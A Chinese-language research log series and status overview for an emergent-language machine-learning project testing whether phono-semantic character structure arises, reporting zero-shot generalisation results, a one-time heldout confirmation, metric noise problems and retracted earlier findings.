「分離曝光」的做法：先前的零樣本探針只是測量讀者認不認得沒學過的字，這次把那個壓力直接放進訓練迴圈——每次讀者換代都重抽一次 70/30 分割，讀者只在曝光集上學，而 Writer 的損失算在讀者沒看過的那 30% 上。Writer 因此被逼著必須產生「一個只學過七成字的讀者也讀得懂剩下三成」的字形。

結果：曝光率 0.7 時，部件複用率衝到 0.966（三個種子分別是 0.969 / 0.938 / 0.991）——幾乎每個字都由共用部件拼出來，是全專案目前最高的複用率。而同一批 run 的 spatial_dd 平均是 +0.0000。曝光率 0.4 時系統直接崩潰（部件數只剩 4 個，全詞表準確率 13.3%，其中一個種子完全歸零）——壓力過頭時系統選擇放棄溝通，不是變得更有系統。

事先寫在腳本裡的判準是「平均 > +0.03 且多數種子為正」，三個假設沒有一個達成。

三種介入都推動了部件化（複用率 0.736 → 0.805 → 0.966），沒有一個推動分工。可分解性與功能分化是兩件事，而這個系統只會做前者。

這是這個專案目前最重的一句話。「習得成本」是三個候選裡理論上最站得住腳的一個——人類確實需要模組化，正是因為會遇到沒學過的字、每個字的曝光量有限。直接把這個壓力做進系統，結果卻是把字形逼得更會共用零件，而不是逼出分工。逼出可分解性買不到功能分化。

這個虛無涵蓋整個劑量範圍，不是只有測過的那兩點

先前的空間分工否定結論只在兩個劑量點上測過。擴到五個劑量 × 兩個種子：

同音率 0.031 → 0.496，十個格子
平均 −0.0013，範圍 −0.075 至 +0.035
達到 SESOI（+0.05）的格數：0/10

包括同音率最高的那一格——聲符原料理論上最充足的區間——也沒有例外。事先的判準是「任一劑量點的兩個種子都超過 +0.05，否定宣稱就要限縮範圍」，沒有一格達標。

順便把第四集那個「已知偏離」拿去驗證了

第四集報過一個已知偏離：確認階段用的是探索階段的舊 artifact（16 選 1 訓練），沒滿足「訓練候選數等於評估候選數」的修訂要求，理由是重訓要三個月。這次效能修正把成本降到 47 分鐘/run 之後，這個偏離變得可以檢驗了。

但不能拿 heldout 重跑——一次性紀律存在的目的，正是防止「換個更好的設定再跑一次，直到它成立」。就算動機是修正一個真實的偏離，「第一次有偏離所以再跑一次」和「第一次結果不夠好所以再跑一次」從外部看是分不開的。所以改在 train 的 70/30 切分上重跑，記為方法學補充，不當成第二次確認。

同一個 S1 設定，16 選 1 跟 226 選 1 訓練的零樣本語音優勢：

對齊候選數之後效應不減反增，基線還更貼近 chance（1.5%）。那個已知偏離不影響確認階段的結論；如果有影響，是先前低估了效應。

英文稿也譯完了

論文草稿的英文版（paper/DRAFT_en.md）已經完成，兩個版本現在都同步含這集的三件事：heldout 一次性使用的紀律、spatial_dd 的雜訊問題、以及已知偏離的事後驗證。

這些結論現在有多硬

下一步

三個列在論文裡的候選解釋都倒下了，而「為什麼沒有分工」目前沒有第四個候選在排隊。這是個真正的空白，不是還沒查完的待辦——下一步得先想出新的候選，而不是繼續測已經想到的。不需要等這個也能做的事：整理論文準備投稿、看看有沒有遺漏的方法學檢查。等有新的候選解釋、或投稿準備得差不多，會有第六集。

這篇是「重言 Re-Sinitic」的現況總覽，會隨研究進度持續改寫，不是逐次發表的日誌。想看完整的推導過程、走過的錯路與撤回，見研究日誌（一）、（二）、（三）、（四）、（五）。確認階段已於 2026-08-27 完成，heldout 詞表已一次性用掉，不會再有第二次獨立驗證——下面標成「已確認」的結論來自那次結果，其餘仍是探索階段的觀察。

這個專案在問什麼

固定漢語的語意結構（meaning space）當控制變數，從零重新演化語言的表達層——音韻與書寫。問一件具體的事：

形聲——一個字由表義部件加表音部件組成——是不是雙通道語言系統的必然收斂解？如果不是，它需要什麼前提？

文獻上的空白很具體：現有的符號湧現研究全部停在「圖畫 → 抽象符號」，沒有人碰過形音義三元結構。

「做完」長什麼樣：S1 離散語音層跑出可信的音系 → S2 書寫層檢定形聲是否湧現 → S3 檢定方言壓力的作用，用劑量-反應設計分辨「同音壓力」與「方言壓力」各自的效果。

目前的結論

書寫系統會演化出可泛化的語音編碼：一個只學過 226 個字的讀者，能以 10 倍 chance 的準確率認出 102 個從未存在過的新字的發音（t = +9.43），其中 7.4 個百分點來自語音路（t = +7.35）——這件事在 2026-08-27 的確認階段，用完全未參與任何訓練的 heldout 詞驗證過。 但字形從未分化成「這一半表義、那一半表音」。

本研究區分四件常被混為一談的事：

關於「存在」的宣稱通過確認，關於「函數形式」的宣稱沒有。 「聲符原則會湧現」是一個關於存在的宣稱，「隨同音壓力增強」是一個關於函數形式的宣稱——前者比後者更基本，而通過的是前者。

確認階段：heldout 用掉的那一次

2026-08-27，凍結既有的 Speaker 與 Writer，對 102 個從未出現過的 heldout 詞的語意向量產生發音與字形，再訓練一個只看過 train 226 詞的全新 Reader，問它認不認得這些新字。這些詞的語意、發音、字形都未參與過任何階段的訓練。

主力（語音路開啟）語音辨識   9.9%   = chance 的 10.1 倍   t = +9.43
基線（語音路關閉）語音辨識   2.5%   = chance 的  2.5 倍   t = +2.82
主力 − 基線                  +7.4 個百分點                t = +7.35

零樣本語音優勢 vs 同音率     r = +0.377   t = +1.63（未達顯著）

探索階段的劑量關係是 r = +0.903、t = +6.41，到 heldout 掉到不顯著——方向還在（低劑量平均 +6.4%、高劑量平均 +10.0%），但撐不起「單調增強」這句話。這是一次性資源，heldout 不會再被動用第二次，任何後續分析都要記為「看過確認資料之後」。這次確認也有已知的偏離：沿用了 16 選 1 訓練的舊 artifact，未滿足「訓練候選數等於評估候選數」的修訂要求；每個劑量只有 3 個種子，非原訂的 5 個。

探索階段的正向結果：聲符原則與形符原則都會湧現，而且能共存

以下是探索階段（train 226 詞）的觀察，其中「存在」那部分已如上經 heldout 確認；「隨同音壓力增強」的劑量曲線本身沒有通過確認，下面的數字要在這個保留下閱讀。

凍結 Writer、重新初始化 Reader、只給它 70% 的字，再問剩下的 30%——看到沒學過的字，能不能靠拆解猜出它的音，或猜出它的意思？

劑量點 r = +0.903，逐 run 迴歸（n=36）β = +0.366、t = +6.41、R² = 0.564。基線全程貼著 chance（1.5%）且不漂移。

早期資料裡，同音率極低的一組（v3）曾讓語音路看起來會把語意零樣本能力整個壓掉，像是「形符與聲符互斥」。用 72 個零樣本 run 直接檢定，那個說法不成立：36 個主力 run 裡有 15 個（42%）同時具備語意與語音兩種零樣本泛化。主力臂內部，語音泛化隨同音率上升（r = +0.748），語意泛化隨同音率下降（r = −0.273），兩者互為代價（r = −0.341）——是取捨，不是互斥。v3 之所以看起來像互斥，只是因為它的同音率落在曲線最左端，語音路在那裡幾乎只有干擾、沒有收益。

這兩者合起來是聲符與形符各自的核心功能——系統性的、可泛化到新字的編碼。先前所有指標（共部件率、純度、舊版雙重分離）都測不到它，因為它們建立在「已見過的字之間的關係」上，而差別只在泛化。

但它們從未分工——換一把尺之後看得更清楚

形聲的定義性特徵不是「字形帶語音資訊」，是字形在空間上可分解為兩個功能不同的部分（左形右聲）。最初的操作化是「雙重分離」：消融 Writer 的輸入（把語意向量或語音向量歸零），看 Reader 表現掉多少。這把尺測到的其實是「Writer 有沒有用到那條輸入」，不是「字形本身有沒有分成兩部分」——一個把語音資訊均勻塗滿整條字形的系統，在這個指標上會跟真正的形聲系統長得一模一樣。

換成直接遮字形的空間位置（5×5 網格的左半／右半），再測「同場題」（只靠形符答得出來）與「同音題」（只靠聲符答得出來）：

遮左   同場 −0.584   同音 −0.602
遮右   同場 −0.341   同音 −0.376

遮掉一半造成最多 71 個百分點的傷害——但對兩類題目的傷害幾乎完全相同（差 0.013–0.018）。字形的每一半都同時攜帶語意和語音兩種資訊，比例相同；左半承載的資訊多於右半，所以字形確實有空間結構，但那個結構不是形符和聲符。這是直接測到「沒有分工」，不再依賴會被均勻編碼混淆的代理指標。

⚠ spatial_dd 這個指標本身的雜訊比它要偵測的效應大三倍——同一設定同一種子重跑，數值可以從 −0.137 跳到 +0.040（跨度 0.18，SESOI 只有 0.05），原因是訓練過程的浮點累加順序在不同 batch 形狀下不同，30000 步後被放大成完全不同的解。任何 spatial_dd 的單點數值都不可解讀，包括支持虛無的那些，結論改用多種子平均，或是像上面那樣直接比較同一次評估內部的兩個數字（遮左 vs 遮右的傷害）——那個對比不受訓練過程的混沌影響。

三個階段各自的發現

S1：語音層可以從零演化出來

226 個詞、10 子音 8 母音、CV 音節模板、一個 D3 混淆通道。最佳設定下溝通成功率 85.4%、有同音詞的詞約 0.4%。

齊夫簡短律（M2，越常用的詞越短）成立，但要用 Tobit 迴歸而非 OLS——訊息長度有硬上界，多數詞卡在那個上界，是設限依變數，OLS 會把效果量低估數倍。噪音強度、長度懲罰、相鄰音節重複懲罰三者互相獨立：長度砍掉三成幾乎不影響音節重複率；OCP 懲罰能被最小化但買不到更低的重複率；噪音強度存在一個最適值，太少太多都同時讓溝通變差、重複變多。

S2：同音壓力把字形推向語音編碼，但推的是取捨不是分工

自變數是湧現的同音率（0.013 → 0.496）。訓練候選數必須等於評估候選數（全詞表）——早期在遠比評估任務簡單的候選集上訓練，導致 Reader 準確率被低估三倍，衍生出的門檻式結論不重現，已撤回。隨劑量升高，聲符純度上升而形符純度崩塌——字形越來越像在編碼發音，那是拼音化的方向，不是形聲化的方向。

（先前這裡報過「雙重分離對同音率的迴歸全程為負」，用的是消融 Writer 輸入路徑的舊版指標。那個指標測不到形聲——見上面「換一把尺」——已改用直接遮字形空間的版本，結論見主結論。）

S3：方言壓力讓 Writer 放棄語音路，而不是把它隔離出來

自變數是湧現的跨子群語音距離 D（0 → 0.59），漂變機制是條件化的規律音變——規則對所有詞一致，抽象音韻表徵完全可回復，排除了「對應根本不規律」這個混淆。

最強的訊號是消融：遮掉語音路造成的損失隨 D 單調下降，在最高劑量甚至變負——那條路已經是純粹的噪音，遮不遮都無所謂。跨方言壓力不會讓書寫系統重組成形符加聲符，它讓 Writer 逐步、完全地放棄語音通道。即使跨方言的對應完全規律，「發現那個抽象表徵」仍然比「忽略語音」難，系統選擇後者。

為什麼沒有分工：三個候選解釋，全數直接測過，全數失敗

三個階段的結果指向同一件事：系統從來沒有理由「同時」使用兩條通道。它總是選一條——同音壓力下選語音，方言壓力下選語意。分工要划算，必須有某種力量讓「兩條各做一半」勝過「一條做全部」。論文列了三個候選，現在三個都直接測過了：

「分離曝光」是三個裡最直接的一個：不只是事後測「讀者認不認得沒學過的字」（那是零樣本探針），而是讓 Writer 在訓練當下就知道「有些字讀者永遠學不到，必須靠拆解才讀得懂」。結果：部件複用率衝到全專案最高的 0.966（三個種子 0.969 / 0.938 / 0.991），但 spatial_dd 平均是 0——分工的訊號完全沒有出現。曝光率壓得更低（0.4）時系統直接放棄溝通（部件數剩 4 個，準確率崩到 13.3%）。

三種介入都推動了部件化（複用率 0.736 → 0.805 → 0.966），沒有一個推動分工。可分解性與功能分化是兩件事，而這個系統只會做前者。

這個否定結論也不是只在一兩個劑量點上看到——擴到五個劑量 × 兩個種子的完整掃描，十格全部沒有達到最小有意義效應量，平均 −0.001，範圍 −0.075 到 +0.035，包括同音率最高、聲符原料理論上最充足的那一格。

「模組化是習得性問題」原本是全專案講得最久、最被看好的解釋，直接測試的結果是它不成立。 分散式編碼（語音資訊瀰漫全字形）對神經 Reader 沒有任何劣勢——它看過全部 226 個字形，每個上萬次；對一個已經記住全表的讀者，「形符在左、聲符在右」和「兩者揉在六筆裡」解碼難度一樣，後者甚至更容易，因為參數自由度更高。逼系統面對沒學過的字，它選擇的答案是「把更多零件做成共用的」，不是「把零件分成兩組各司其職」。

目前沒有第四個候選解釋在排隊——這是研究過程裡一個誠實的空白，不是還沒做完的待辦。

這些結論有多硬

heldout 已經用完，不會再有第二次

第三集結尾的決策點——要不要動用 heldout——已經做了，而且是一次性的。之後任何新問題都只能在 train 226 詞或既有分析上回答，不能再拿 heldout 驗證，否則就不再是獨立確認。連確認階段自己留下的已知偏離，後續驗證都刻意改在 train 上做，沒有再碰 heldout。

進行中

• 「為什麼沒有分工」目前沒有候選解釋在排隊——下一步是想出新的候選，不是繼續測已經想到的三個
• 論文草稿中英文版已同步，準備投稿整理中
• S1 音節重複率修好噪音強度後降到 27.9%（仍高於隨機期望約 7%），下一步查架構層面：Speaker 每個位置的輸入夠不夠分化
• v3（極低同音率）設定補種子

最後更新：2026-08-28（三個候選解釋的測試結果、spatial_dd 的雜訊問題同步）。這篇會隨研究進度改寫，目前的標注（哪些結論已確認、哪些還在等驗證）尚未做完，之後的更新會逐步補齊，而不是重寫成新的一篇。

這篇是日誌，記的是當時的推論過程，其中部分結論後來已被修正。想看目前最新的整體結論，見現況總覽。

第二集的結尾是聲符原則：語音資訊會湧現出一套可泛化到新字的編碼，但它取代語意，不與語意分工。這集本來要接著查「模組化是不是習得性問題」，結果先撞上兩件更急的事——一個是先前的結論裡有一半是錯的，另一個是量了兩年的指標可能從頭到尾沒量到重點。兩件事查完，探索階段就結束了。

形符與聲符不是互斥，是取捨

第二集報過一個副作用：同音率極低的那組資料（v3）裡，加上語音路會把原本能被拆解出語意的字形壓回 chance 等級——看起來像「一個字形要嘛表意要嘛表音，兩者互斥」。

那個說法在檢定之前只是個印象。用 72 個零樣本 run 直接測，情況不是那樣。

先修一個門檻的錯誤：68 個未見詞、chance ≈ 1.5%，先前用「2× chance」分類，等於只有 2 個詞落在門檻之上，完全在雜訊裡。改用 chance + 3 個標準誤 ≈ 5.8%：

36 個主力 run 裡有 15 個（42%）的字形，同時具備語意和語音兩種零樣本泛化能力。那是形聲的必要條件，而且經常被滿足。主力臂內部：

語音泛化 vs 同音率   r = +0.748
語意泛化 vs 同音率   r = −0.273
語意泛化 vs 語音泛化  r = −0.341

加上語音路會把字形從「語意可泛化」推向「語音可泛化」，同音壓力決定推多遠。兩者之間是取捨，不是互斥——第二集那個「語意方向隨劑量下降」的說法沒有錯，但它只是取捨曲線的一段，不是「兩者互斥」的證據。v3 之所以看起來像退化，是因為它的同音率只有 0.018，落在曲線最左端，語音路在那裡幾乎只有干擾、沒有收益。

到這裡，第一集就報過的「形符原則」（純表意基線的字形語意可拆解）第一次有了明確的量化位置：基線臂 36 個裡有 32 個具備語意零樣本泛化。這件事一直存在，只是先前沒有用同一套方法跟聲符放在一起看。

但雙重分離這把尺，可能從頭到尾量錯地方

正向結果變多了，但雙重分離——這個從第一集就撐著「形聲沒有湧現」這個主結論的指標——一直是負的，一次都沒轉正過。查到這裡開始覺得不對勁：如果聲符和形符都會湧現，為什麼分工的訊號完全量不到？

答案是這把尺本身量錯了東西。dd_interaction 消融的是 Writer 的輸入路徑——把語意向量或語音向量歸零，看 Writer 產出的字形變化多少。那測的是「Writer 有沒有用到那條輸入」，不是「字形本身有沒有分成兩個部分」。一個把語音資訊均勻塗滿整條字形的系統，在輸入消融上也會顯示同時依賴兩條路——它和一個真正左形右聲的系統，在這個指標上分不出來。

整個專案一直在用一個測不到形聲的指標測形聲。

換一把尺：直接遮字形的空間

形聲的定義性特徵是空間上可分解——左形右聲。改成 5×5 網格，遮左半（10 格）或右半（10 格），中央欄不計，測兩類九選一題目：同場題（同語意場、語音遠，只靠形符答得出來）、同音題（語音近、跨語意場，只靠聲符答得出來）。

過程中修掉兩個會讓評估看起來正常、其實在說謊的缺陷：

結果：一個漂亮的 2×2，被自己的複製推翻

種子 0 的第一組結果看起來像個完整的故事：讀者換代會把 spatial_dd 往正推，而且只有同音率夠高那格才越過事先定的顯著性門檻（SESOI）——聲符需要原料，分解需要划算，兩個條件缺一不可。

三個新種子重跑同一組設定，判準寫在腳本裡、寫在看到資料之前：

種子      無換代     有換代        差
  0     -0.0177   +0.0531   +0.0708
  1     +0.0708   +0.0310   -0.0398
  2     +0.0133   -0.0265   -0.0398
  3     -0.0044   -0.0442   -0.0398

平均    +0.0155   +0.0033   -0.0122     配對 t = -0.44

有換代那組 4 個裡只有 2 個是正的，平均反而比沒換代的對照組更低。那個很好的故事是錯的，撤回。

但空間版本身測到了一件結實的事

拿掉那個沒撐住的 2×2 敘事之後，遮字形一半這個做法本身給出一個非常乾脆的結果：

遮左   同場 −0.584   同音 −0.602
遮右   同場 −0.341   同音 −0.376

遮掉一半造成最多 71 個百分點的傷害——傷害很巨大，但對兩類題目的傷害幾乎完全相同（差只有 0.013–0.018）。字形的每一半都同時攜帶語意和語音兩種資訊，比例相同。左半承載的資訊多於右半，所以字形不是均質的、確實有空間結構——但那個結構不是形符和聲符。

這不再是靠代理指標推論出來的「沒有分工」，是直接遮掉空間位置測出來的「沒有分工」，而且比先前用輸入路徑消融得到的同一句話硬得多。

順帶量到：逼出兩條通道會推高部件複用，但推的不是分工

對抗式候選集逼著兩個通道都變得必要之後，部件複用率來到專案目前最高的 0.792–0.805（先前是 0.748）。逼字形不能偷懶，確實會讓系統長出更多共用部件——但那是「共用更多零件」，不是「把零件分成兩組各司其職」。

探索階段到此結束

三個階段（S1 語音層、S2 劑量曲線與零樣本、S3 方言壓力）、零樣本探針、空間雙重分離全部跑完並寫進 FINDINGS.md。heldout 那 102 個詞，從專案開始到現在，一次都沒有被載入過。

現在唯一剩下的重大決策是要不要動用它——這是一次性資源，動用之後探索階段就正式結束，任何後續調整都要記為「看過確認資料之後的變更」。卡住的地方是算力：pre-registration 原訂的確認階段規模（5 個 λ 點 × 5 種子 × 6 劑量）在「訓練候選數等於評估候選數」這個修訂後的規則下，單一個 S2 run 要 14 小時，全部跑完是三個月。三個縮減方案擺在桌上：

C 特別值得考慮：零樣本探針不需要重新訓練 Writer，只需要凍結既有的 Writer、重訓 Reader——heldout 的字形可以直接由現有模型產生。而「新學習者讀不讀得懂沒學過的字」正是這個專案目前最強的正向結果。

這些結論現在有多硬

下一步

唯一的決策點是 heldout 怎麼用，三個方案裡 C（零樣本為主）代價最低、也最貼近目前最硬的結果，但那要使用者決定，不是可以自己動的事。不需要等這個決策也能做的事：論文草稿譯成英文、給 v3 這組低同音率設定補種子（目前只有 1 個）。等 heldout 的決定下來、或是英文稿完成，會有第四集。

這篇是日誌，記的是當時的推論過程。想看目前最新的整體結論，見現況總覽。

第三集結尾留了一個決策點：探索階段已經跑完，剩下的問題是要不要動用那 102 個從未載入過的 heldout 詞。這是一次性資源，用掉就沒有回頭路。這集記的是那個決定被做了之後發生的事——2026-08-27，heldout 被打開，而且只開這一次。

開獎之前，先確認管線沒有壞掉

直接拿從未見過的資料驗證一個複雜管線，風險是「如果結果難看，說不清楚是理論錯了還是程式錯了」。所以正式動用 heldout 之前，先在 train 226 詞內部切一次 70/30，跑同一支評估腳本乾跑，確認它重現探索階段的主結果：

方向和量級都在，管線驗證通過，才碰 heldout。

用的是最省算力的那個方案

第三集列過三個方案：只驗主結果（約 7 天）、降到 64 選 1（約 10 天，但違反修訂 1）、零樣本為主（數小時）。用的是第三個——零樣本探針不需要重新訓練 Writer，只需要凍結既有的 Speaker 與 Writer，對 heldout 的語意向量產生發音與字形，再訓練一個只看過 train 226 詞的全新 Reader，問它認不認得這 102 個新字。

heldout 的語意、發音、字形都從未參與過任何階段的訓練——它們是模型對全新語意的推論，不是背下來的東西。

通過：可泛化的語音編碼，在真正沒看過的字上也成立

主力（語音路開啟）語音辨識   9.9%   = chance 的 10.1 倍   t = +9.43
基線（語音路關閉）語音辨識   2.5%   = chance 的  2.5 倍   t = +2.82
主力 − 基線                  +7.4 個百分點                t = +7.35

chance = 1/102 ≈ 1.0%。一個只學過 226 個字的讀者，能以 10 倍 chance 的準確率認出 102 個從未存在過的新字的發音，而這個能力有 7.4 個百分點來自語音路本身。

這不是記憶——那些字從未被任何人看過，包括訓練這個 Reader 的過程。是這套從零演化出來的書寫系統，具備擴充到新詞的能力。第二集報過的聲符原則（探索階段 25.2% vs chance 1.5%），現在有了在完全獨立的一批詞上的複製。

沒通過：隨同音壓力增強這件事

零樣本語音優勢 vs 同音率   r = +0.377   β = +0.111   t = +1.63

探索階段是 r = +0.903、t = +6.41；乾跑是 +0.743、+4.44。到了 heldout，掉到不顯著。方向還在（低劑量 n=8 平均 +6.4%，高劑量 n=6 平均 +10.0%），但 18 個資料點的散佈太大，撐不起「隨同音壓力單調增強」這句話。

為什麼「沒通過」不等於「白做」

「聲符原則會湧現」是一個關於存在的宣稱；「隨同音壓力增強」是一個關於函數形式的宣稱。前者以 t = +7.35 在從未見過的詞上成立，後者不成立。存在比函數形式更基本，而通過的是存在。 這也是為什麼 pre-registration 要事先把兩件事分開寫清楚——如果當初只註冊了一條籠統的「聲符效應存在」，這次的結果會很難解讀成「部分通過、部分沒通過」，只會是一團模糊的「差不多」。

這次確認不完美，而且說清楚了哪裡不完美

論文摘要跟著改寫

三種理論上該產生分工的壓力並列進了摘要，而且各自失敗的方式不同：同音壓力主動破壞分工（雙重分離隨同音率單調降到 −0.243）；跨方言壓力讓 Writer 完全放棄語音通道，即使方言間的音變對應完全規律；對抗式候選集把部件複用率推到全專案最高（0.805），但空間分工仍是虛無。三個方向都被堵死之後，主張變成：缺失的不是資訊量，是讓分解划算的那股壓力——在一個溝通目標可加、分散式編碼對神經讀者毫無劣勢的系統裡，把資訊塗滿整個字形永遠不劣於分割它。

這些結論現在有多硬

下一步

heldout 已經用完，不能再回去問它任何新問題。剩下能做的事都在 train 226 詞或既有分析上：論文譯成英文、給 v3 那組低同音率設定補種子。「模組化是不是習得性問題」這個假設如果要測，必須在 train 上設計新的介入，不能碰 heldout。等英文稿完成，或是那個介入有結果，會有第五集。

沒有放大詞表。因為找到一個零標註就能測同一個猜測的方法，而那個方法測出來的答案，把整個「為什麼沒有湧現」的故事往前推了一步——不是詞表太小，是訓練任務本身在騙自己。這篇是第二集，記兩件事：一個新的正向結果（聲符原則湧現了），和一次自我推翻（S2 的門檻不重現）。順便交代一個埋了兩週、讓長度懲罰完全沒作用的常數 bug。

這篇是日誌，記的是當時的推論過程。想看目前最新的整體結論，見現況總覽。

第一集的猜測沒有被放大詞表證實——因為根本不用放大

放大詞表要花的是標註成本，而那正是最貴的資源。有一個更便宜的做法：不放大詞表，改問「系統看到沒學過的字，能不能靠拆解猜出它的音」。

做法是凍結 Writer、重新初始化 Reader、只在 70% 的字上訓練它，再問剩下的 30%。這等於用同一份 226 詞的詞表，白嫖到「詞表放大十倍」真正想買的東西——泛化。

先前所有形聲指標（共部件率、純度、雙重分離）量的都是已見過的字之間的關係。一個把語音資訊塗滿整個字形的系統，和一個真的有聲符的系統，在那些指標上可以長得一模一樣——差別只在沒學過的字上會不會表現出來，而那必須拿沒學過的字來測。

正向結果：聲符原則存在，而且隨同音壓力單調增強

劑量點 r = +0.903，逐 run 迴歸（n=36，含種子固定效果）β = +0.366、t = +6.41、R² = 0.564。chance 是 1/68 ≈ 1.5%，最高劑量的 25.2% 是 chance 的 17 倍。

三件事讓這個結果乾淨：

• 基線全程貼著 chance（2.0–3.9%），完全沒有隨劑量漂移——效應來自語音路，不是字形整體品質變好
• 語意方向是反的且顯著（β = −0.109，t = −2.97）：同音率越高，沒學過的字反而越難從字形猜出意思，排除了「高劑量字形只是比較好認」這個解釋
• 評估在 unseen 內部做 68 選 1，候選也只從 seen 抽——認得出「這不是我學過的字」拿不到分數

系統演化出的東西是一套系統性的、可泛化到新字的語音編碼——看到「江」的「工」就能猜出讀音，即使沒學過「江」這個字。這就是聲符的核心功能。

但那不是形聲

形聲的定義性特徵不是「字形帶語音資訊」，是字形可分解為兩個功能不同的部分。這裡的語音資訊仍然瀰漫全字形（雙重分離全程為負），而且語意方向的零樣本能力隨劑量下降——系統不是把兩種資訊分開放，是整體從語意編碼滑向語音編碼。

可泛化的語音編碼會湧現，而且隨同音壓力單調增強。但它是取代語意編碼，不是與它分工。

撤回：S2 的「同音率 0.2 門檻」在訓練任務改對之後不重現

第一集報告過一個門檻：同音率低於 0.2 平均效果量 −0.028（t = −1.00），高於 0.2 是 +0.494（t = +5.84），而且門檻模型（R² = 0.775）勝過線性模型（0.730）。

那整批資料是在訓練 16 選 1、評估全詞表 226 選 1 的設定下跑的，Reader 的語意準確率只有 27%。把訓練候選數改成 64（準確率升到 65%）之後重跑四個劑量點：

沒有門檻，沒有單調趨勢，高劑量端還反轉了。16 選 1 下同音率 0.177 落在門檻以下（差 ≈ +0.010），64 選 1 下是 +0.813；16 選 1 下 0.496 落在門檻以上（差 ≈ +0.59），64 選 1 下是 −0.131。兩端都反了。

16 選 1 只要求字形和它的 15 個鄰居不同——那是局部約束。系統性是全域性質，收益只在「必須和所有 225 個都不同」時才出現。一個只需要贏過 15 個對手的字形，把資訊塗滿六筆完全夠用。先前所有 S2 數字都是在一個被低估三倍的任務上量出來的。

⚠ 這批 64 選 1 的資料只有 1 個種子，cap5 的 +0.813 比兩側鄰居高一個數量級，很可能是離群值——所以這不是「門檻不存在」的證明，是「門檻不重現」，兩者的後續動作不同：前者可以下結論，後者只能說原結論失去支持。唯一在兩種設定下都單調的量是雙重分離對同音率的迴歸（16 選 1：+0.002 → −0.038；64 選 1：+0.000 → −0.155 → −0.173 → −0.243，r = −0.94）：

同音壓力不只不產生分工，它主動破壞分工，而且訓練任務越接近評估任務，破壞得越徹底。

§14 的零樣本結果不受這次撤回影響——它本來就沒有門檻，是從同音率 0.069 就開始的連續上升，而且它重訓 Reader，跟訓練候選數無關。門檻撤回之後，這個專案的正向結果只剩零樣本這一條，但它比撤回的那條硬得多。

新假設：模組化是「習得性」問題，不是「資訊論」問題

第一集把「沒有湧現」歸因於詞表太小。這集的兩個結果指向一個更精確的版本：226 不是因為這個數字太小，是因為每個字都在訓練集裡。

分散式編碼（語音資訊瀰漫全字形）對神經 Reader 沒有任何劣勢——它看過全部 226 個字形，每個上萬次。對一個已經記住全表的讀者，「形符在左、聲符在右」和「兩者揉在六筆裡」解碼難度一樣，後者甚至更容易，因為參數自由度更高。

人類需要模組化，是因為：會遇到沒學過的字，必須靠拆解猜；每個字的曝光量有限；書寫是從有限的運動基元組合出來的。三個階段的實驗一個都沒有製造這三種壓力。放大到 2260 個詞、但每個字仍然全部參與訓練，可分解性的收益依然是零——只是花十倍標註成本買到同一個結論。

順便：S1 那張最難辯護的圖被修好了

第一集沒提這件事，但它一直是這個專案對外最尷尬的一張截圖：工具輸出「火車 = ŋo.ŋo.ŋo.ŋo.ŋo.ŋo」，同一個音節重複六次。那不是語言，是把一個音拉長。

repetition_rate 這個指標對它完全瞎——CV 音節模板下相鄰音素永遠是「子音、母音」交替，兩者永遠不相等，所以這個指標恆為 0。加了音節層級的哨兵之後，測了三個假設，前兩個錯：

τ=0.20（舊預設）  火車  ŋo.ŋo.ŋo.ŋo.ŋo.ŋo
τ=0.10（新預設）  火車  pi.pu.ʃy.tø.ʃo.ŋo

從「把一個音拉長」變成「一串不同的音節」。27.9% 仍然高於隨機期望（約 7%），還沒完全解決，下一個要查的是架構層面的問題——留給下一集。

途中還抓到一個更嚴重的 bug：長度懲罰的遮罩函式在 EOS 位置本身也算進 cumprod，導致遮蔽後的訊息裡一個 EOS 都不剩，expected_length 恆等於上限。這代表齊夫簡短律（M2）的所有先前結果，都是在一個從頭到尾沒受過長度壓力的系統上量出來的——修好之後同一組參數的成功率從 61.5% 跳到 81.4%，那個 bug 不只沒作用，是主動有害：常數項的梯度仍然在流，把系統往一個結構上不可能達成的方向推。方法學上的結論（設限依變數要用 Tobit）仍然成立，數值要重測。

這一集動了 pre-registration

三個變更都不是「結果不如預期所以調參數」，是「當初據以選定的量測本身是錯的」，所以走了修訂而不是直接改凍結檔：

heldout 102 詞在這次修訂前後都沒有被動用過。

這些結論現在有多硬

下一步

零樣本探針取代了「放大詞表」——同一個問題，零標註成本測到了答案。下一個要驗的是「模組化是習得性問題」這個新假設本身：如果它對，讓系統付出習得成本（例如限制每個字形的曝光量，或是引入世代更替），應該會讓雙重分離開始轉正。這是可以在同一份 226 詞詞表上做的下一個介入，不需要更大的詞表，也不需要碰 heldout。

S1 的音節重複還剩 27.9%，「架構層面 Speaker 每個位置的輸入夠不夠分化」這個老問題還沒查完。S3 的 confirmatory run 也還沒開始。等其中一個有結果，會有第三集。

這篇是日誌，記的是當時的推論過程，其中部分結論後來已被修正或撤回。想看目前最新的整體結論，見現況總覽。

這個專案在問什麼

固定漢語的語意結構（meaning space）當控制變數，從零重新演化語言的表達層——音韻與書寫。問一件具體的事：

形聲——一個字由表義部件加表音部件組成——是不是雙通道語言系統的必然收斂解？如果不是，它需要什麼前提？

文獻上的空白很具體：現有的符號湧現研究全部停在「圖畫 → 抽象符號」，沒有人碰過形音義三元結構。

「做完」長什麼樣：S1 離散語音層跑出可信的音系 → S2 書寫層檢定形聲是否湧現 → S3 檢定方言壓力的作用，用 2×2 設計分辨「同音壓力」與「方言壓力」哪個才是必要條件。

主結論（先講重點）

在本研究測試的所有條件下，形聲都沒有湧現。

兩種理論上應該產生它的壓力各自產生了「一半」，而且是相反的一半：同音壓力讓語音資訊進入字形，方言壓力讓語音資訊退出字形。兩者都不產生「分工」。

形聲的定義性特徵不是「字形帶語音資訊」，是字形可分解為兩個功能不同的部分。這裡的操作化是雙重分離——遮蔽語意路只傷語意 Reader、遮蔽語音路只傷語音 Reader。那個交互作用在任何條件下都沒有變正。

S1：語音層可以從零演化出來

226 個詞、10 子音 8 母音、訊息長度 12、CV 音節模板、一個 D3 混淆通道。最佳設定下溝通成功率 72%、topsim 0.088–0.158、有同音詞的詞只有 1.3%。

一個值得記的量測錯誤：齊夫簡短律（M2，越常用的詞越短）的效果量一開始被低估了大約五倍。原因是訊息長度有硬上界，而 65–76% 的詞卡在那個上界——這是設限依變數（censored dependent variable），該用 Tobit 迴歸而不是 OLS。用 OLS 會把斜率往零壓，看起來效應很弱，其實是量測方式本身在說謊。

S2：同音壓力有門檻，但門檻之後走向拼音化

6 個劑量 × 3 種子，自變數是湧現的同音率（0.013 → 0.496），結果變數是「主力 − 同格位純表意基線」的聲符式共用效果量。

同音率 < 0.2（n=12）   平均 −0.028 ± 0.096   t = −1.00   ← 沒有效應
